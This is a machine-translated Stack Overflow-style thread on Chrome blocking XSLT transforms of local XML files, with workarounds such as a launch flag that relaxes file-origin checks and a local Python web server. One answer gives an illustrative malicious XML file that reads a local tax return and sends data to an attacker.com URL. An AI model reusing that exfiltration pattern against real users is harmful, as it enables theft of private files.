Dapatkah Chrome dibuat untuk melakukan transformasi XSL pada file lokal?

91

Saya melihat ke xslt dan mulai menguji dengan contoh di w3schools.

Namun, ketika saya menyimpan xml dan xsl dalam file dan mencoba membukanya secara lokal, chrome tidak akan melakukan transformasi xsl. Itu hanya menunjukkan halaman kosong.

Saya telah menambahkan <?xml-stylesheet type="text/xsl" href="style.xsl">tag ke dokumen xml, dan firefox membuatnya seperti yang diharapkan. Selain itu, jika saya melihat file melalui server web, chrome menampilkan file seperti yang seharusnya.

Apakah chrome mengalami masalah dalam menemukan informasi stylesheet jika tautannya bersifat lokal? Mengubah href menjadi file:///C:/xsl/style.xsltidak ada bedanya.

Memperbarui: Ini tampaknya merupakan efek samping dari kebijakan keamanan untuk tidak memperlakukan file: /// * sebagai asal yang sama. Ini membuat kesalahan berikut muncul di konsol:

Upaya tidak aman untuk memuat file URL: /// C: /xsl-rpg/style.xsl dari bingkai dengan file URL: /// C: /xsl-rpg/data.xml. Domain, protokol, dan port harus cocok.

Zaz
sumber
1
Sepertinya dari file:protokol Chrome melontarkan kesalahan domain yang sama.
1
Di IE11 berfungsi. Chrome semakin jahat.
Marco Demaio

Jawaban:

74

Jawaban singkatnya adalah "Tidak, gunakan salah satu dari beragam jenis browser yang ada" .

Alasan ini tidak berhasil adalah karena masalah keamanan yang telah ditangani Chrome dengan cara yang kontroversial [1] [2] [3] [4] , dengan memblokir file XML agar tidak mengakses file XSLT lokal di direktori yang sama, sedangkan HTML file dapat mengakses file .CSS di direktori yang sama dengan baik.

Di seluruh masalah yang dikutip di atas, pengguna telah meminta pesan kesalahan yang lebih jelas (karena domain, protokol, dan port memang cocok), atau setidaknya menampilkan XML tanpa gaya. Pengembang Chrome telah mengabaikan permintaan ini.

Zaz
sumber
18
Meskipun masalah keamanan masuk akal, file XML harus dapat memuat lembar gaya XSL dari direktori yang sama, seperti halnya file HTML dapat memuat gambar dan skrip dari direktori yang sama. Ada masalah yang dapat Anda kilaukan bintangnya tetapi tim pengembang Chrome telah melarang komentar baru tentangnya - terlepas dari kenyataan bahwa mereka mengeluh bahwa mereka tidak dapat mengukur seberapa buruk pengguna menginginkan asal file lokal menjadi santai.
Dan Dascalescu
1
Fakta menarik: Safari di Mac (8.0) berfungsi dengan baik dengan XSLT lokal, tetapi Safari di iOS (8) simulator (dan saya kira di iOS juga) Saya mendapat kesalahan yang sama seperti di Chrome "Domain, protokol, dan port harus cocok. ". Tetapi jika saya mengimplementasikan UIWebView di aplikasi dan memuat XML dengan XSLT semuanya berfungsi dengan baik.
Paul Brewczynski
tidak ada gunanya menggunakan browser lain ketika tugasnya adalah memperbaiki rendering xslt tertentu di browser chrome ...
n611x007
Salah satu pendekatan yang berfungsi dengan Chromium adalah dengan menyebariskan file XSL ke dalam file XML sebagai data: teks / xsl URI.
EricLaw
57

Anda dapat melakukan ini secara lokal menggunakan tanda baris perintah Chrome.

Bendera spesifiknya adalah --allow-file-access-from-files

Di OS X: dari Terminal.app, jalankan /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

Di Windows: dari command prompt run %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Catatan: Anda mungkin harus keluar dari Chrome jika saat ini berjalan jika tidak Ch

Jake Burton
sumber
Ini tampaknya tidak berhasil untuk saya di Windows 7. Saya menemukan chrome.exe terletak di sini C:\Program Files (x86)\Google\Chrome\Application:, dan perintah --allow-file-access-from-files berjalan dengan baik, tetapi dokumen XML lokal saya (diubah oleh file XSLT lokal) tidak ditampilkan.
Rick mendukung Monica
2
Mungkin Anda harus mematikan semua proses windows yang sedang berjalan untuk chrome.exe di task manager windows dengan tangan. Bagi saya, ini berhasil.
Christian Schulzendorff
1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filesbekerja untuk saya. Jelas saya menjalankan Chrome Canary. Setelah menjalankan perintah ini, jendela Chrome baru akan terbuka dan memungkinkan Anda melakukan Transformasi XSL.
SeanLF
2
Lebih cepat di Windows 7: Tombol jendela + R; "chrome --allow-file-access-from-files"; Memasukkan.
Aaron Campbell
Atau di PowerShell (membunuh chromes sebelumnya untuk Anda):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell
15

Jika Anda ingin tetap menggunakan OP, jawabannya adalah Tidak (seperti yang ditunjukkan orang lain) tetapi salah satu cara untuk memperbaiki masalah adalah dengan menjalankan server web sederhana dan membuka file melalui http di chrome. Jika Anda telah menginstal python 2.x, Anda dapat menjalankan server web dengan mengetik:

python -m SimpleHTTPServer

Atau di python 3.x:

python3 -m http.server

dan kemudian buka file menggunakan http://localhost:8000/yourfile.xmldi chrome. Mudah-mudahan Anda hanya ingin menyelesaikan pekerjaan Anda dan bukan hal yang penting untuk membuka file menggunakanfile://

Morpheus
sumber
3

Butuh sedikit penguraian di laman Bug Chrome - mereka sangat ingin tidak menjelaskan apa masalahnya, dan mengapa mereka memilih melanggar semua orang daripada tidak menghancurkan semua orang.

Asumsikan saya memiliki file XML - di suatu tempat - di hard drive saya, misalnya:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

Dan entitas jahat - entah bagaimana - berhasil menjatuhkan file Xml berbahaya di komputer saya, misalnya:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Bayangkan TrojanVirusWorm.xml berisi Instruksi Pemrosesan stylesheet ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Penyerang kemudian menginstruksikan browser saya untuk menavigasi ke trojanVirusWorm.xmlfile yang disimpan secara lokal .

Rupanya ada cara agar file XML dapat membaca konten file XSD (daripada diubah oleh file XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Saya tidak mengerti bagaimana file XML dapat membaca file stylesheet. Namun tim Chrome meyakinkan kami bahwa ini berbahaya, dan tidak dapat diselesaikan.

Setiap browser lain memecahkannya. Mereka menyelesaikannya karena itu bukan masalah .

Ian Boyd
sumber
3

Solusi saya untuk melihat xml sesuai dengan file xsl

Misalkan kita memiliki some_file.xml dengan header:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Kami mengunduh file https://some-site.com/Common.xsldan meletakkannya di sebelahsome_file.xml
  2. Ubah bagian header kita dari href="https://some-site.com/Common.xsl"menjadi href="http://localhost:8001/Common.xsl"
  3. Jalankan di direktori dengan file kami - python3 -m http.server 8001
  4. Buka di browser apa pun http://localhost:8001/some_file.xml
Greg Eremeev
sumber
0

Anda dapat mengaktifkan Chrome untuk merender file XSL dengan mengubah pengaturan browser Anda. Pendekatan yang lebih aman adalah dengan mengaksesnya melalui server web lokal, seperti Visual Studio Code Live Server atau Apache. Lihat XSLT Tidak Akan Merender di File Lokal untuk mengetahui langkah-langkahnya.

Ryan C. Perry
sumber